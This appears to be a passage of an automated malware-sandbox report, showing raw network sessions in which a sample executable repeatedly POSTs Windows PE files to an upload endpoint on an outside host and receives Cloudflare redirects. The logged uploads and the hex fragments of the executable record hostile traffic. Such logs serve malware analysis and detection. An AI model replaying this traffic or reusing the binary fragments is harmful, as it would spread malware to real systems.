Oct 10, 2024 21:01:48.006930113 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:48.007004023 CEST	7416	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:48.007064104 CEST	4944	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:48.011967897 CEST	12360	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:48.014637947 CEST	28428	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:01:48.018016100 CEST	7369	OUT	Data Raw: 61 75 74 f0 be b0 47 68 69 7a 3b 3a 00 41 0e 25 73 3a 75 38 53 06 3b 52 29 9f 73 77 86 d8 85 1e 20 48 14 5a 48 45 41 b0 fa 8e fe 44 00 47 45 54 00 50 df 00 50 55 54 00 2a 96 ec 37 14 f4 66 65 72 65 72 3a 08 34 f0 df cd 60 c6 75 63 63 65 70 74 2d Data Ascii: autGhiz;:A%s:u8S;R)sw HZHEADGETPPUT7ferer:4`uccept-EncWg+(ng.T2q\sH(ch#BCy ;3F+3 E ][]q3e`o}%cA: e/,vSweek&b6aRtqwinput6+te`nRX
Oct 10, 2024 21:01:48.324075937 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:48 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:48 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y%2F%2BKF3HsCUN7sfypVCvd0DynkbH%2FzFZ4BpzfuQv96MnhouOjFx4nMf8PIjdF3gKHtMq7i62oaUHYmNUqU1JvZC74WAVLuAq9T5Fb5vIDpV1RADelHTP42VIe7QLdgEQjcFnVdGcBD04CNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc6d4b1a8c18-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49770	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:48.529628992 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------1b4a0b5658b504f7
Oct 10, 2024 21:01:48.981743097 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:48.987569094 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 62 34 61 30 62 35 36 35 38 62 35 30 34 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------1b4a0b5658b504f7Content-Disposition: form-data; name="file[]"; filename="rifaien2-oe1pzZn0FqkWwHnO.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:48.987785101 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:48.992911100 CEST	3708	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:48.992973089 CEST	1236	OUT	Data Raw: c6 af b2 67 ff d0 a5 89 ef b9 13 0d 04 dd e9 89 b9 bb 4f eb 03 57 26 80 7f 14 0a 84 db 0f 84 4c 0f b3 d9 a6 fc 6c c9 ff 84 4a 1e 89 98 4e 54 c3 8d 78 4f 8b 16 3a c0 c7 3e 34 3e be 8e 89 ca 0c f7 d1 f7 d2 63 74 47 da c4 80 bd 30 75 17 14 8b fd 8a Data Ascii: gOW&LlJNTxO:>4>ctG0uHB@\B8hPSlx t458f.v%`dcp{5E3a`zEE/mjv8@jC)WWMPE
Oct 10, 2024 21:01:48.992973089 CEST	8652	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:48.993026972 CEST	8652	OUT	Data Raw: c4 18 d8 1d 3e be 50 dc dd 44 eb ef 16 9a 21 3b 2a d8 61 e2 44 f6 87 4a 01 75 c8 d9 c3 86 0a f4 c6 80 a4 00 12 02 bb 81 ff 2b 49 00 80 7d eb 00 75 06 08 38 75 2a 45 a7 83 14 e4 e0 82 75 15 77 f5 85 c1 f0 74 0f b3 01 c4 0f 9b 01 22 d3 bb 70 bc 7c Data Ascii: >PD!;aDJu+I}u8uEuwt"p\|t>@up:1f\UF{1/;nY^N2\|tRRN0e9"-vuj9bEb^AVKQ\Q=04cQS,V2#A9GHj
Oct 10, 2024 21:01:48.997436047 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:48.997776985 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:48.997881889 CEST	4944	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:01:48.998094082 CEST	4944	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:01:49.286073923 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:49 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:49 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QKOLdVQqjPp0n8O7qkFn0Osx1afolKyfRq1thtYY2XSd0gTn9la6uTSpKk0lkwYKI3u8CZinSqeF3b%2FIMJQDanfzcccSzbSiiOw3cx6Vv146VBoQRHijxWF27pSHjq6yzW%2FIUKzV0dzE4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc74faea42bd-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49771	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:49.437314034 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------cbd89f6b5abbf536
Oct 10, 2024 21:01:49.902187109 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:49.902936935 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 62 64 38 39 66 36 62 35 61 62 62 66 35 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------cbd89f6b5abbf536Content-Disposition: form-data; name="file[]"; filename="rifaien2-2ZT16A8KKoDdHefl.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:49.903222084 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:49.908617020 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:49.908646107 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:49.908674002 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:49.908724070 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:49.908778906 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:49.908806086 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:49.908838034 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:49.913193941 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:50.219208002 CEST	823	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:50 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:50 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NPDPKbj%2Bf514QIrIW0%2FguSTraPg9NDDVOlI%2BCj%2BLby2BQLFUclQddl4gG1RzigA7pbyxsBCZMymUnEn7RBU0ePobQ%2BhYs%2Fj%2FUd32eD8BMJsVyYlOF4iuCHqlvd9fmipfbySk9Fjm3U%2BLBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc7abde17d1a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49772	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:50.439258099 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------a216be62cb313a11
Oct 10, 2024 21:01:50.895783901 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:50.896683931 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 32 31 36 62 65 36 32 63 62 33 31 33 61 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------a216be62cb313a11Content-Disposition: form-data; name="file[]"; filename="rifaien2-r2gYxmdgnH5fh0Tl.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:50.897018909 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:50.903486967 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:50.903522968 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:50.903548956 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:50.903575897 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:50.903609991 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:50.903631926 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:50.903685093 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
